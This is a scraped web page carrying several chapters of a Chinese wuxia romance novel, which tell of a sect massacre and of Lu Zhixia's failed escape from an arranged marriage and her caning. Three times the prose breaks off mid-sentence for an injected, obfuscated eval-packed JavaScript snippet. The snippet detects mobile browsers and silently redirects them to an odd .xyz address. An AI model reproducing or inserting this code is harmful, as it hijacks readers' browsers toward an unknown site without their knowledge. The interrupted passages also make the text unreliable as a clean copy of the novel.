沈宜自知凶多吉少,但他不能倒下。妻子已死,但却不见儿子身影,说不定他还藏在这里。无论如何他都要保住自己唯一的血脉,那是他们净河帮未来的希望。 两刃相交,发出刺耳锐响,沈宜握刀的手微颤。 黑衣人知道他内力快耗尽,趁其不备左手使出一掌击中沈宜心口。 沈宜脸色骤变,后退数步撞在书架上,倒地吐血不止。 “爹。” 书架旁一个书筐里传出一声极轻呼唤,沈宜心头猛地一跳,循声望去。透过筐子缝隙,隐约能看到一双稚嫩眸子。 沈宜悄声对藏在里边的孩子说道:“别出声,我引开他,你从后院古井离开。” 沈宜捂着胸口吃力地从地上爬起来,对黑衣人道:“我可以把刀谱交给你,但你得答应放我一条生路。” 黑衣人嗤笑道:“刚才你不是挺有骨气吗?怎么,死到临头就怂了?” “你到底想不想要?”沈宜深受重伤,没多余力气同他周旋太久。 “拿来吧。”黑衣人伸手索要。 沈宜道:“如此重要的东西我怎会带在身上,随我去书房密室取。” 黑衣人挑眉,沉声道:“我警告你,千万别耍花样,否则我立刻送你去见阎王。” 沈宜被黑衣人推搡着向外走去。 二人离开后,书筐侧倒在地,男童手脚并用从筐里爬出来,含泪在母亲尸首旁磕了三个响头。 刚才那个黑衣人的容貌男童已牢牢记下,他举手对着母亲遗体发誓,有朝一日定要取他们的首级来祭奠所有在这场屠杀里死去的门人。 此地不宜久留,男童擦干眼泪小心翼翼往外走。这儿是他住的小院,院里仆从皆已遇害。出了院门,外边场景更加骇人,放眼望去门中到处是死尸残肢,浓重的血腥味令人作呕。 附近没有发现歹人的身影,男童强忍泪水,躬身艰难跨过地上密集的尸体,从远处看来,像一团怨气聚成的恶灵。 一路上目睹亲友们惨烈的死状,男童心如锥刺,泪流满面,刻骨的恨意在他幼小的心间发芽疯长。 附近几处房子冒着火光,浓烟滚滚,歹人已开始纵火毁尸灭迹。男童背负满门血仇,不想辜负父母一番苦心,加快步子离开。 附近走来几个手持火把的黑衣人,男童趴在尸堆里装死。那些人匆匆走过,并未发现还有活口。 父亲书房方向传来打斗声,男童终是放心不下,循着声音走过去。为防被人发现,他钻进附近花丛中,透过花叶间的缝隙观察书房那边的情况。 书房里亮着灯,透过大开的窗户,男童看到两个身材魁梧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083122|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蒙面人正围攻他的父亲。双方很快从室内打到院中,男童紧张地望着步伐凌乱的父亲,一时忘了逃命。 沈宜内力耗尽,仅靠本能抵挡二人攻势。一名蒙面人绕到其后,出其不意挥出一掌。沈宜一个趔趄往前扑,被前方直刺而来的剑锋贯穿胸膛,真气全泄,吐血不止。 后边的蒙面人趁势补了沈宜一剑。 冰冷的剑锋刺穿腹部,沈宜眉心紧蹙,手里的长刀再握不稳,应声落地。 面前个高的蒙面人冷声道:“我再给你一次机会,说,刀谱究竟在何处?” 沈宜放声大笑,说道:“刀谱已经烧了,你们永远也别想得到。” 闻言,两个蒙面人大怒,双双抽剑。沈宜痛呼倒地,仰躺在地上奄奄一息,看着个高的蒙面人吃力道:“陆道离,迟早有一天你们做的恶事会被人揭发,你们不会有好下场的。” 个高的蒙面人扬手挥剑,剑尖掠起三尺血雨,地上的人再无声息。 花丛轻颤,男童使劲捏着花枝,手掌被刺扎得鲜血淋漓也不觉疼痛。又亲眼目睹敬爱的父亲惨死歹人之手,男童心如刀绞,恨不得冲出与这些歹人搏命。 沈宜死后,两个蒙面人仍不甘心,回到书房里仔细搜寻。 周围火光冲天,肆虐的大火很快就要烧到主院,男童蹲在花丛里望着不远处父亲的尸首久久不愿离去。 父亲为人随和,平日乐善好施,广结善缘,鲜少与人结怨。男童不明白这些人究竟为何要如此恶毒地残害他满门。 埋头痛哭之际,头顶花丛被一把锋利刀刃削平。 “想不到这里还有个小鬼。” 听着头顶有几分熟悉的男人声音,男童大惊,浑身血液冰凉,匆忙钻进花丛深处。 “想逃?”男子冷笑,挥舞着血淋淋的剑朝花丛一阵猛削。 冰冷的剑锋贴着男童头顶划过,男童长发散开,像过街狼狈逃窜的老鼠。 “还想跑。”男子一手抓住男童后颈衣衫往上提。四周光线昏暗,男童又挣扎不断,男人看不清他的脸,问道:“你是谁的孩子?” 男童不语,长发下双眼恨恨瞪着这个右脸带着细长爪痕的男人,他就是杀死他母亲的凶手。小手摸向腰间弯刀,趁男子不备骤然出手。 “啊!”男子丢开手里的男童,低头看了看左肩被划破的衣裳。 男童迅速从地上爬起来,抬头看到男子破开的衣服下有一个显眼的红蝎徽记。 “找死。”黑衣男子杀心顿起,挥剑朝男童面门刺来,速度之快,令惊愕的男童来不及躲避。 沾满血污的剑锋转瞬来到眼前,男童命悬一线,浑身血凉…… * “不要!”床上的人惊呼着从噩梦中醒来。多年过去,即使他已有自保能力,但记起那时生死一瞬却无能为力的感觉依旧令他胆寒。 屋里一片漆黑,暴雨早已停歇,但天还未亮。他像个落水上岸的人,大口喘息着平复惊恐的情绪。 事隔十年,那晚亲历的一切仍然清晰在目。每到雷雨之夜,那些惨痛的记忆便伴着噩梦向他袭来,仿佛是故人提醒着他莫要忘记自己的使命。 屋里门窗紧闭有些憋闷,他下床换了身干爽衣裳,拿起酒壶,开窗熟练自如地翻上屋顶。 天上弦月仍在,四周一片灰暗,时辰距天亮还早。披头散发的陆子辰坐在屋檐上吹风,夜雨后的凉风很快吹散周身焦躁。心静些许,他仰头喝了一口酒,发现执壶的手仍在颤抖,长长叹了口气。 清冷月光笼着屋檐上修长的身影,远远看去如此苦闷孤寂,全然没有平日一丝傲气。 此时四下无人,陆子辰一手撑头,斜倚在檐上随性把玩手里的酒壶,愁绪上来时便仰头喝上一两口。醇香甘冽的酒液顺着他侧脸划下一道优美弧线,烈酒接连下肚,他心间也畅快不少。 比之人心,酒才能随时随地带给他温暖。 陆子辰望向天边渐隐的弦月出神,蓦然察觉四周有些不同寻常的动静。 内力深厚之人耳力也分外敏锐,清冷眸子慵懒一转,目光很快锁定云岚院外两个鬼鬼祟祟的身影。英俊眉宇间生出一丝无奈,陆子辰搁下酒壶纵身朝那两人跃去。 她还真是一日也不让他省心。 10. 逃婚 云岚院外一侧偏僻昏暗的院墙下,两名背着包袱的妙龄女子鬼鬼祟祟躬身前行,不时左顾右盼。 陆子辰从屋檐上轻声跃到墙上,悄无声息接近二人。 “如果我没记错,你已被爹禁足,你们是如何溜出来的?” 墙头上忽然响起的清冷男声将主仆二人吓了一跳,匆匆将身上包袱藏到身后。 一道黑影从墙上跃下,稳落在二人面前。 此刻宽袍缓带、长发垂肩的陆子辰看起来有几分悠闲,全然不似白日那般盛气凌人,但主仆二人的心仍提到了嗓子眼。 陆知夏将吓愣的小玉护在身后,嬉皮笑脸道:“哟,大师兄起这么早,是去练功还是散步?” 陆子辰淡淡道:“睡不着出来透气,碰巧看到两个胆大妄为、意欲偷溜的笨丫头。” 陆知夏心想这未免也太巧了。 “我也是睡不着出来走走,一会儿就自己回去。”陆知夏继续装傻充愣。 “是么。”陆子辰目光看向她们背在身后的手,冷嗤道:“陆知夏,有时候我很佩服你睁眼说瞎话的本事。” 陆知夏心知他不好糊弄,脸上的笑越发心虚。碰上这个冤家,她怕是逃不成了。但她又不甘自己准备多日的计划被他搅黄,索性硬着头皮搏一搏。 “我不明白你在说什么?”陆知夏一脸无辜地看着陆子辰。 陆子辰面色一沉,动手上前搜出她们藏在身后的包袱,说道:“散步用带包袱吗?云苍山防守严密,你真以为凭些小聪明就能逃走?” 目的被人识破,陆知夏收了笑,抬头勇敢直视陆子辰,“这件事你最好别插手。” “你在威胁我?”陆子辰目光一凛,周身散发出慑人气势。 四目相对,火药味浓重。 陆子辰觉得陆知夏这会儿胆子比以往大许多,还是这三年她将那股蛮劲隐藏得太好? “不敢,我在同你商量。”陆知夏终是顶不住他的威慑,率先移开视线,说道:“这个家我不想待了,什么狗屁云苍派二小姐的身份我也不要了,只要你放我走,我保证以后绝对不与你争家产。” 陆子辰顿觉好笑,“你就这么自信爹会留一份家产给你?没准都是我的呢?” “你……”陆知夏气结。这人还真是自大狂妄! “那你想怎样?”陆知夏没好气道。 陆子辰道:“要么给我立刻回去,要么同我去见爹,你自己选吧。” 好不容易溜出来,陆知夏哪肯轻易回头。既然硬碰硬不行,她心上一计,从包袱里取出装着全部身家的小木盒,上前拉住陆子辰衣袖,娇声道:“大哥,这里边都是我舍不得戴的金银玉饰,价值不菲,如今都给你,求你通融通融嘛。” 陆子辰低头看着妍丽女子一双扑闪清亮的杏眸,冷冷道:“行贿,罪加一等。” 陆知夏青筋暴起,深呼吸强压怒意,继续微笑道:“话别说得这么难听嘛,这不叫行贿,这叫多一事不如少一事,大家都相安无事,大哥说对不对?” 陆子辰不语。这丫头从来不肯叫他大哥,如今一口一个“大哥”叫得这么亲,定然是黔驴技穷。 “这事没得商量。”陆子辰忽然拽着陆知夏往前走,“你一再犯错,毫无悔意,即刻同我去见爹。” 陆知夏感到大事不妙,慌张道:“哎呀别,我知错了,你打我骂我都可以,千万别惊动爹。” 陆子辰仍不放手。 二人拉扯间,陆知夏隐约闻到一股酒味儿,得意道:“好啊,你偷喝酒。咱们去见爹,依门规你也要挨棍子。” 陆子辰面不改色,“要不咱们比比,看谁挨的罚重。我有内力护体倒是无所谓,只是某些身娇体弱的人恐怕十棍都扛不住。” 陆知夏怒瞪着陆子辰,看来他铁了心要阻止她逃婚。也是,以他的角度,看着讨厌的人嫁得凄惨的确很解气。这个冤家怎会错过报复她的机会? 陆子辰拉着无话可说的陆知夏继续往云朝阁方向走,小玉无措地跟上去。 时近破晓,一路静悄悄的。巡夜弟子换岗还未就位,陆子辰暗叹这丫头鬼精会挑时机,若不是他凑巧醒来撞见,她们可真要溜远了。 云朝阁隐约在前,陆知夏心脏砰砰直跳,暗骂老天爷无情,怎会给她这么个中看却无情的大哥。 眼看陆知夏就要大难临头,小玉冲上前跪在陆子辰面前,哀求道:“大少爷,请你放过小姐吧。她这么好的姑娘,嫁给一个傻子这辈子就毁了。” 陆子辰无动于衷,绕过小玉继续往前走。 陆知夏道:“陆子辰你为何老是同我作对?若我真嫁给刘家那遭天谴的傻儿子,往后你在外人面前也抬不起头啊。” 陆子辰道:“家有家规,门有门规。重回家门你便是陆家的人,也是云苍派的人。我所做的一切都是为了陆家、为了门派的声誉着想。” “除了那些,难道你真的铁石心肠,没有半点怜悯之心吗?”陆知夏声音微颤,杏眸隐含泪光。 陆子辰停下脚步看着她,说道:“那你为何不能老实待着?自不量力是什么下场你不清楚吗?” “换作是你,你会坐以待毙吗?”陆知夏哽咽道:“原本只要能离开这个压抑憋屈的家,爹让我嫁谁我都不在意。可我没想到他最后竟让我嫁给一个遭天谴的傻子……” 听了前边的话,陆子辰微微握拳,最后又恢复平静,说道:“傻子又如何,人家好歹是刘掌门独子。嫁过去日后你便是玄阴派主母,依然可以锦衣玉食过一辈子,这样不好吗?” 陆知夏小脸一皱,大声道:“不好!莫说他是个门派阔少爷,即便他是皇子我也不嫁。因为我跟这样的人在一起不会有爱的。” “爱?你一个小姑娘家知道什么是爱吗?”陆子辰冷嘲道:“你是不是天真以为天底下只有有情人才会结为夫妻?” “难道不是吗?”陆知夏水亮的杏眸中满是疑惑。 陆子辰眼中讽刺的意味更深,看着她冷冷道:“若是如此,我想这世上也不会有你。” “你……”陆知夏听出他言外之意,登时火冒三丈,扬手就朝他打去。 陆子辰擒住她手臂,顺手点了她穴道将她扛上肩,“天快亮了,我可不想同你在这儿丢人现眼。” 高大的身影扛着人转身往回走。小玉松了口气,默默跟上。 与此同时,站在远处墙根后偷看许久的白衣弟子也悄悄离开。 云岚院门外,刚来换岗的弟子看到陆子辰扛着个女子走来具是疑惑。 陆子辰沉声道:“人溜了你们都没发现,实在太大意了。一会儿仔细把院里搜一遍,看看是否还有别的出口。” “是。”弟子们暗暗捏了把汗。若陆知夏真逃了,今晚值守的人全部脱不了干系。 * 回到卧房,小玉点上灯。 陆子辰将肩上的人小心放到床上。陆知夏狠狠瞪着他,一副极不服气的模样。为防她再生事端,陆子辰没有解开她的穴道,说道:“往后做好你的二小姐,别再惹是生非。” 陆知夏翻了个白眼,显然听不进他的话。 陆子辰叹息道:“有些事对你来说或许不公平,但没能力反抗之前你只能忍耐。好好活下去,说不定有些事会有转机。” 陆知夏不能出声反驳他,心里悲观地想,若是事情最后也没有转机,那她又该如何是好? 陆子辰起身往门外走,小玉欠身向他行礼道谢:“谢大少爷没有为难小姐。” 陆子辰淡淡点头,离去前叮嘱道:“看好她,若再逃被别人抓住把柄我也帮不了她。” “是。”小玉看着稳步离去的挺拔身影,蓦然想起上回他抱重病昏迷的陆知夏回来时方寸大乱的模样。其实她觉得这个大哥也没陆知夏说的那么坏。 陆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083123|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏郁闷地望着帐顶。逃婚失败,身子酸麻不能动,谁也睡不着,她怎么这么倒霉? 院里嘈杂声不断,陆知夏叹气,没准这回连她偷挖的狗洞也要保不住了。心里凉凉的人反而平静不少,她闭上眼睛,不知不觉沉沉睡去。 * 本以为昨夜逃婚的事已翻篇,睡得正香的陆知夏被外边一阵哭喊声惊醒。 此时天已大亮,身上的穴道也自动解开了,陆知夏坐起来,侧耳一听竟发现是小玉在外边哭。她心下一跳,匆匆穿鞋出门。 房门恰好从外边打开,陆知夏愣在原地,隔着屏风看到一脸阴沉的父亲走进来,顿时有种不好的预感。 陆掌门看到陆知夏一副刚睡醒不久的样子,冷声道:“午时过了才起,你昨晚干什么去了?” 陆知夏道:“日子无聊,女儿绣花累了方才小睡了片刻。” “还装。”陆掌门沉声道:“你是不是想逃婚?” “爹何出此言?”陆知夏镇定道:“女儿不是好端端在这吗?您不要听别人胡说。” 陆掌门道:“院墙下的狗洞是你凿的吧,今早天还没亮你是不是趁机溜出去了?” 陆知夏暗暗咬牙,说不定又是陆子辰那个阴险小人跑到父亲面前告状。 “你以为出了院子就能逃掉?”陆掌门厉声道:“云苍派可不是你想来就来,想走就走的地方。没有我的准许,私自下山者一律按门规处置,轻则杖刑三十,重可处死。你逃婚未遂也不可免于刑罚。” 陆知夏预感大祸临头,心脏砰砰跳,“我没有,我是被冤枉的。” 陆掌门见她仍不承认,回头朝门外唤了一声,走进来的正是陆子辰。陆知夏怒极反笑,恶狼怎么会有人性? 陆掌门问道:“子辰,这丫头今早是不是想溜,被你逮回来的?” 陆子辰看了一眼陆知夏,淡淡道:“是。” 这时,一名执法堂弟子也拎着两个包袱上前,道:“掌门,这是从她们柜子里搜出来的东西。” 人证物证齐全,陆知夏心道完了。若知道陆子辰这个卑鄙小人事后会摆这么一道,她绝不会睡那么死,怎么也得交代小玉尽快把东西放回原位。 陆掌门将包袱里的东西全抖出来,里边装的都是主仆二人的衣物,还有不少财物。 陆掌门冷哼,“这回你无话可说了吧?” “爹想怎么罚就怎么罚吧。”陆知夏一副无所谓的态度,事情败露后她反而平静下来。 陆掌门叹息道:“钻狗洞逃婚,亏你干得出。这事若是传出去,你让我的脸往哪搁?我怎会有你这么不懂事的女儿。” 陆知夏道:“懂事有什么用?在你心里还不是处处不如你的宝贝儿子。” “还犟。”陆掌门道:“你这般蛮横,有人肯娶你已是你娘在天之灵保佑,再给我惹事就打断你的腿。” 陆知夏就是不服气,大喊道:“我不嫁,我就是不嫁!你打死我吧。” “你以为我不敢?”陆掌门右掌高扬,内力暗聚,眼里的怒火夹着一丝杀气。 “爹。”陆子辰上前拉住父亲行将落下的手,劝道:“气大伤身,您消消气。” 陆知夏却无视陆掌门的愤怒,继续说道:“你连自己发妻的死活都不管,现在倒来管我这个野丫头的婚事,我不服!你若是看不惯我,索性撵我走,但要我嫁给一个傻子我办不到!” 陆掌门怒气未消又被陆知夏的话激怒,眉头拧成沟壑,面色赤红咆哮道:“我生你养你就有管教你的权利!来人,把这个蛮横无礼的丫头拖出去给我狠狠打。” 得令,两名身材魁梧的执法堂弟子上前擒住陆知夏,将她连拖带拽弄出门去。 “这个不孝女真是越来越不像话了。”陆掌门愤愤道。 望着被押出门的陆知夏,陆子辰背在身后的手不由自主攥紧成拳,眼底涌动着晦暗不明的情绪。 11. 严惩 院中,桂嬷嬷蹲在地上照顾着被打得遍体鳞伤的小玉,抬头便看到陆知夏被两个身材魁梧的执法堂弟子拖出来,看样子也要被施以杖责。 “使不得呀。”桂嬷嬷冲上去将陆知夏护在怀里,“这是二小姐,你们不能打。” 陆掌门怒容满面地从屋里走出来,父女俩显然在屋里闹得很不愉快。 桂嬷嬷道:“掌门,二小姐固然有错,可她毕竟是您的亲闺女,也是莫家留在世间唯一的血脉,若是她有个闪失,先掌门和夫人泉下怎能安息?” 陆掌门冷声道:“我管教自己不听话的女儿,谁敢阻拦就同她一起受罚!” 陆知夏推开桂嬷嬷,说道:“一人做事一人当。桂嬷嬷你不要管我,免得也受我牵连。”小玉因她被打已经让她十分内疚,她不能再连累其他关心她的人。 陆掌门示意两名手执棍杖的弟子即刻动手。陆知夏逃婚未遂将被处三十杖以示惩戒。 棍杖有手臂粗,陆知夏直挺挺跪在地上任两名弟子交替着打。她没有武功,身材纤瘦,弟子又顾及她的身份,皆不敢下重手。 落在背上的棍杖都拿捏着力度,陆知夏挨了快十棍也面色不改。 “你们是在帮她挠痒吗?”陆掌门冲上前夺过一名弟子手里的棍杖,大声道:“前面几下不算,今日我要好好教训这个不懂事的丫头。” 闻言,陆知夏呼吸一滞。还未反应过来,手臂粗的棍杖带着父亲的怒火接连狠狠打在她身上,疼得她浑身发麻直冒冷汗。 “知不知错?”陆掌门狠狠道。 陆知夏紧抿着唇不让自己发出声音,泪水却不由自主模糊了双眼。这是她从小到大第一次挨父亲的打,不仅痛在身上更伤在心里。 这种痛比她当初在街头被地痞无赖毒打还要难捱。 “掌门,求你不要再打了。”桂嬷嬷上前劝阻,却被执法堂弟子拦下,在一旁伤心抹泪。 陆掌门下手越重,十多棍过去,手都被震麻了,陆知夏仍不吭声,再次激起他的怒火。他倒要看看这个倔丫头有多能忍。 心一狠,陆掌门使出浑身力气将已跪立不稳的陆知夏打趴在地,累得以棍支地大口喘息。 陆知夏趴在地上半天动弹不得,背和手臂又疼又麻,胸口气血翻涌,嘴里一股咸腥。但她仍紧抿着唇,不吭一声。 没想到这个丫头这么倔,陆掌门怒气难消,歇了会儿又要动手。 旁观多时的清冷眸子早已不复镇定,陆子辰上前握住父亲手里的棍杖,说道:“爹当心气坏身子。管教这丫头还有其他法子,若您现在把她打死了我们不好向玄阴派交代。” 经陆子辰提醒,陆掌门的火气顿时消了一半。为了大局,他且放过这个不孝女一回。 陆掌门扔了棍杖,指着地上的倔丫头说道:“再敢逃婚,我照打不误!回头把《孝经》给我抄三百遍,抄不完不许踏出房门半步。” 陆掌门一行人离开后,云岚院大门再度落锁。 小玉和桂嬷嬷赶紧上前查看陆知夏的情况。 陆知夏趴在地上发抖,脸色惨白发青。二人还未触碰到她,她张口便喷出一大口血,把二人吓了一跳。 “别碰我,很疼。”陆知夏声音沙哑,话音刚落便失去意识。 见状,小玉和桂嬷嬷惊慌失措跑去叫人。 * 王大夫离开云岚院时太阳已落山。 桂嬷嬷替陆知夏掖好薄被,将烛台提前点亮才下去熬药。 房门关上后不久,雕花窗子被人从外边轻轻推开,一道黑影翻进屋里。珠帘轻响,挺拔身影来到床前停留片刻便离去,枕边多了两个小瓷瓶和一张字条。 陆知夏醒来时外面的天已经黑了,想起今日被父亲当众毒打的情形,苍白的小脸靠在枕上流泪。 余光发现枕边有东西,陆知夏定睛看去,唇角微微扬起。他来过,他仍在她身边。 “谢谢。” 回答陆知夏的只有一室寂静。雕花小窗半开着,清风徐徐,却没有一丝那人来过的痕迹。 陆知夏吃力抬手将两个小瓷瓶握在手中,瓶底依然还是熟悉的青鱼徽记,她灰暗的心情得到一丝慰藉。 枕边还有一张字条,上边写着药的用法用量,陆知夏指尖摩挲着陌生又熟悉的字迹感动落泪。 每次受重伤,他的药来得都很及时,疗效也好。每次用完药她都将瓶子珍藏着,十年过去加起来已有十多个,一直与她的家当放在一起。 它们对她来说意义非凡。那是一个人默默为她付出的真心。虽然她与他从未蒙面,也不清楚他的身份和目的,但她相信他绝对没有恶意。 陆知夏趴在床上看着枕边的小瓷瓶发呆。记得第一次收到这带着青鱼徽记的药是在她八岁那年的寒冬。 当时姜氏母子刚回山,陆子辰成日欺负她。那次她在后山堆雪人,花两个时辰好不容易堆成象征他们一家三口温馨相伴的雪人。陆子辰路过看到,拔剑发疯似的冲来削砍她的杰作,把她辛苦做好的雪人砍得面目全非。她又气又怕,一个人哭着往后山跑,结果不小心滚下雪坡崴了脚,动弹不得躺在雪地里哭到天黑。 滚落的地方偏僻,夜深了也没人来寻她。又冷又饿的她强忍疼痛爬行一阵便冻晕过去。本以为她的人生就这么结束了,但昏沉中却有一双温暖的手握住她的脚踝为她正骨。 清醒过来后,她发现自己已到坡上。月光下,四周除了寂静的林子和满地白雪不见半个人影,唯有身边一个净白的小瓷瓶和一张字条让她确信救她的是人非神。 服药不久,她的脚完全不疼了,能自己站起来往回走。半路上寻她的人也发现她,将她带回门中。若不是这个神秘人帮她,她早就死在那个雪坡下了。 从那以后,那个人时常在她身边出没,从云苍山到云炀城,如今又随她回到了云苍山。那个人虽不是无时无刻保护着她,但总在她最危难的时候出现。 他虽然神出鬼没,但她也有幸见过他一回。那时她初到云炀,家里生活不宽裕,下了学堂便去帮人干活赚钱,却不幸被街霸盯上。 有次刚结工钱,回家路上她便遭人围堵勒索。她不肯将辛苦赚来的钱交给那些不劳而获的街霸,以寡敌众奋起反抗,最后仍被摁在地上一顿痛打。若不是一个披着黑斗篷的男子出手相助,只怕她的工钱和小命都保不住。 她还没来得及道谢,男子扔给她一袋东西便离去。袋子里除了依旧带着青鱼徽记的伤药,还有一袋银子。它们解了她一个冬天的燃眉之急…… 回忆久远往事,陆知夏心间仍是一片温暖。这令人绝望的世间,到底还是有人在意着她的死活的。 半日没吃东西,陆知夏肚子饿得咕咕叫,但她又不想麻烦桂嬷嬷。小玉也受了伤,桂嬷嬷一把年纪还要同时照顾她们俩,一定忙不过来。 不久,房门外传来说话声,听声音来的是李暮和江宛若。 二人有陆掌门给的令牌,奉命过来看望陆知夏,守在屋外的女弟子不敢阻拦,开门让他们进屋。 屋里很安静,江宛若将带来的食盒放在桌上,绕过珠帘和屏风走进内室。李暮在外间等候。 床上的人醒着,正趴着发呆。江宛若松了口气,“听说今日师父亲自动手打你,你还好吧?” 陆知夏抬起一双浮肿双目,声音沙哑道:“爹往死里打,若不是念及我还有利用价值,恐怕……” 江宛若看到她两条玉臂上醒目的黑紫伤痕连连摇头,“师父下手太狠了,看来这回你把他气得不轻。” 陆知夏道:“若不是他逼我嫁给一个遭天谴的傻子,我怎会忤逆他。我现在真是越来越不知道该如何与他相处。” 江宛若道:“那能怎么办呢?他是你亲爹。在外人眼里,你忤逆他就是不孝。” “我怎会摊上如此蛮不讲理的爹……”陆知夏郁闷叹气。 江宛若替陆知夏披上外衫,放下床帘,回头朝外间屏风后的谦和身影唤道:“进来吧二师兄。” 听闻李暮也来了,陆知夏的眼泪又泛起来。 李暮提着药箱走进来。他出生行医世家,拜师前便精通医术,加上为人随和,弟子们平日练功不小心划伤磕碰都找他处理,在医治外伤方面有着丰富经验。 “二师兄。”隔着帘子,陆知夏委屈巴巴看着走到床前的谦和身影。 李暮掀袍坐在床边矮凳上,温声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083124|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手伸出来,我替你把脉。” 片刻,帘子后伸出一条遍布黑紫伤痕的胳膊,李暮顿时皱眉,叹息道:“知夏,师父的脾气你不是不知道,为何还要顶撞他?” 陆知夏道:“别的事我能忍,这次我决不退让。逃婚不成,我宁可被他打死也不要嫁给那个遭天谴的傻子。” 一时激动牵动身上伤口,陆知夏疼得龇牙咧嘴。 江宛若惊讶道:“你竟敢逃婚,难怪师父会大发雷霆。” 李暮也不赞成陆知夏的做法,“逃婚是下策。这桩婚事关乎两派友谊,若你真逃成了,师父颜面丢尽更不会放过你。” 江宛若道:“而且整个云苍也会因你逃婚背上背信弃义的骂名,往后大家在江湖上都抬不起头。” “那我该怎么办?”陆知夏难过道:“难道我的幸福就不重要吗?” 李暮道:“知夏,这桩婚事对你来说确实委屈,但你不能铤而走险。待过些时日师父气消了你好言同他说,或许事情会有转机。” “没用的,我清楚自己在他心里的位置,他是不会轻易改变主意的。”陆知夏悲观说道。 李暮叹息道:“师父身为掌门,心中顾虑自然比我们多,你要试着体谅他。” “那他为何不体谅我?”陆知夏气得从床上坐起来,忍痛大声道:“他若想拉拢玄阴派为何不让陆子辰与刘家结亲?刘掌门不是还有个私生女吗,据说人也长得不错,他们结亲总比让我嫁给刘斐那个生活不能自理的傻子强吧。” 江宛若道:“那个刘小姐的生母来历不明,连名份也没有。大师兄是咱们云苍派未来的掌门,他的婚事岂能草率。”言罢,她顿觉失言即刻捂嘴。 “我的婚事就能草率?”陆知夏愤愤道:“归根结底,他还是最心疼他的宝贝儿子。” 江宛若叹息道:“没办法,这世道便是女子不如男。” 陆知夏灰心丧气,早知如此,当初连夜逃走也不随他们回云苍,四处流浪总好过回家受气,最后被卖了也无力反抗。 李暮也跟陆知夏想到一处,温和的眼神里多了一丝愧疚。若当初尊重她的选择,让她在山下自由自在成长,她就不会平白吃这么多苦头。事已至此,后悔最是无用。他只能想办法尽力帮一帮她。 为陆知夏诊脉后,李暮从药箱里拿出几瓶药交给陆知夏,叮嘱用药细节。 陆知夏看着李暮给的棕色药瓶,又看了一眼枕边的白色小瓷瓶,将药还给李暮,说道:“谢谢二师兄,我有药了。” 李暮道:“王大夫的祛瘀膏和我调制的活血散同时使用并不冲突,这样好得更快。” 陆知夏不想让他们知道神秘人的事,也不想拂了李暮一片好意,没有过多解释默默将药收下。小玉有伤正好需要,一会儿她再托桂嬷嬷送过去。 李暮离开后,江宛若挑起帘子,盛了些饭菜给陆知夏吃。 陆知夏浑身伤,张嘴吃饭牵动伤处,疼得龇牙咧嘴。加上嘴里一股血腥味儿,吃什么都索然无味,扒拉几口便放下筷子。 江宛若盛了一碗热鸡汤给她喝,将剩下的饭菜收拾好。 热汤下肚,陆知夏感觉身上暖和许多,莫名感慨道:“若我只是个普通人家的女儿该多好。” 江宛若道:“普通人家的女儿被亲爹娘卖掉的也不少,关键还是看运气。” 细细一想,陆知夏深以为然。她长长叹息,这倒霉的人生她还有时来运转的机会吗? 江宛若净手后给准备给陆知夏上药,看着枕边的白色小瓷瓶疑惑道:“这是王大夫给的药?” “嗯。”陆知夏有些忐忑。 好在江宛若从不注意这些琐事,没多问便打开木塞沾取药膏给陆知夏上药。 陆知夏挽起长发,退下衣裳,玉白的肩背和手臂上皆是被棍杖狠打后留下的道道黑紫。江宛若叹息,师父竟连自己的亲生女儿也舍得下重手,果真严厉无情。 “婚事刚定或许还能取消,你先把伤养好,回头找机会同师父好好商量,装得可怜一些,没准他心一软就改变主意了。”江宛若好心替陆知夏支招。 “会有用吗?”陆知夏无声流泪,一时分不清是身上的伤痛还是心痛。 12. 偏见 卧床静养七日,陆知夏已能下地缓慢行走。 小玉伤得不重,又用了李暮的药,两天前已痊愈。但她被调到门中干杂活,被迫与陆知夏分开。 这日傍晚,陆知夏一个人孤单倚在窗前看落日,忽听两名女弟子在附近悄声说话。她一时好奇,侧耳细听。 “附近巡夜的弟子换了一批,先前的都被罚去守山了。” “换了好,那几个偷懒耍滑的我早看他们不顺眼了。” “这回他们得罪了厉害人物,饶是叶闻那个纨绔子弟也不得不服从。” “他得罪了谁?” “还有谁,当然是……” 说到关键之处二人声音越来越小,陆知夏头都伸出窗外了还是听不到,略感不爽。 院门忽然打开,李暮和江宛若提着东西一道过来探望陆知夏。说悄悄话的女弟子即刻散开,上前检查一番才放他们进屋。 李暮下山办事回来顺道给陆知夏带了些好吃的。 饭菜上桌,陆知夏看着色泽鲜艳、香气诱人的红烧肘子和烤鸭馋得直流口水。这几日养伤她日日都是清淡饮食饿得眼都绿了,拿起筷子风卷残云般将饭菜吃个精光。 